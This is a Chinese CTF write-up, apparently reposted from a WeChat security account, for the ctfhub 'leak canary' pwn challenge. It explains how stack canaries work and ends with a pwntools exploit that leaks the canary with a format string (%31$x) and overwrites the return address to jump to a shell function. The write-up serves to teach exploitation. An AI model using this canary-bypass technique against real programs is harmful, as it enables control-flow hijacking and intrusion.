【CTF】leak canary

admin 2024年4月30日08:29:39评论8 views字数 1622阅读5分24秒阅读模式
题目来自于 ctfhub 中的 leak canary

What is canary
Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。
我们知道,通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖 ebp、eip 等,从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行 (栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。
由于 stack overflow 而引发的攻击非常普遍也非常古老,相应地一种叫做 Canary 的 mitigation 技术很早就出现在 glibc 里,直到现在也作为系统安全的第一道防线存在。
Canary 不管是实现还是设计思想都比较简单高效,就是插入一个值在 stack overflow 发生的高危区域的尾部。当函数返回之时检测 Canary 的值是否经过了改变,以此来判断 stack/buffer overflow 是否发生。
Canary 与 Windows 下的 GS 保护都是缓解栈溢出攻击的有效手段,它的出现很大程度上增加了栈溢出攻击的难度,并且由于它几乎并不消耗系统资源,所以现在成了 Linux 下保护机制的标配。

思路
因为程序中有两次输入,首先通过泄露获取到canary的值
第二次输入的时候就需要构造payload,先填充多个字节的padding到canary的位置,再把之前读取到的canary的值进行填充,再继续填充到栈帧 $ebp 的字节数,再写上想要跳转的地址

确定canary
第一次输入可以先泄露canary,输入处下断点

【CTF】leak canary


【CTF】leak canary


运行到第一次输入

【CTF】leak canary


通过canary的机制查找canary的值(#canary到栈顶esp的偏移量是0x1f即31)

【CTF】leak canary


查看当前栈中的canary,计算出偏移值

【CTF】leak canary


偏移的值为

【CTF】leak canary


现在就需要往回找到canary的位置

【CTF】leak canary


根据地址找到IDA中对应的位置查找canary的栈的情况

【CTF】leak canary


从buf到canary需要的字符 0x70-0xc

【CTF】leak canary


【CTF】leak canary


需要什么
第一次输入泄露canary的值(确定canary在哪)canary结尾一定为00
从buf到canary需要填充多少数据(buf到canary的地址差值)eax-canary
填充完 canary 再到填充多少数据 到 $ebp 去执行其他地址的函数

EXP

from pwn import *context(os='linux', arch='i386', log_level='debug')

p = process("./pwn")p.recvline()p.sendline(b'%31$x')  # 根据变量设定的大小来输入泄露canary的值canary = int(p.recv(8), 16)  # 接收canary的值log.success('canary => %#x', canary)print(canary)elf = ELF('./pwn')shell_addr = elf.symbols['shell']  # 0x80485a6payload = b'a'*100 + p32(canary) + b'a'*12 + p32(shell_addr)  # 填充100个字节a到canary + canary + 填充12个字节到$ebp + 函数地址p.sendline(payload)p.interactive()

原文始发于微信公众号(CatalyzeSec):【CTF】leak canary

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月30日08:29:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【CTF】leak canaryhttps://cn-sec.com/archives/2699451.html

发表评论

匿名网友 填写信息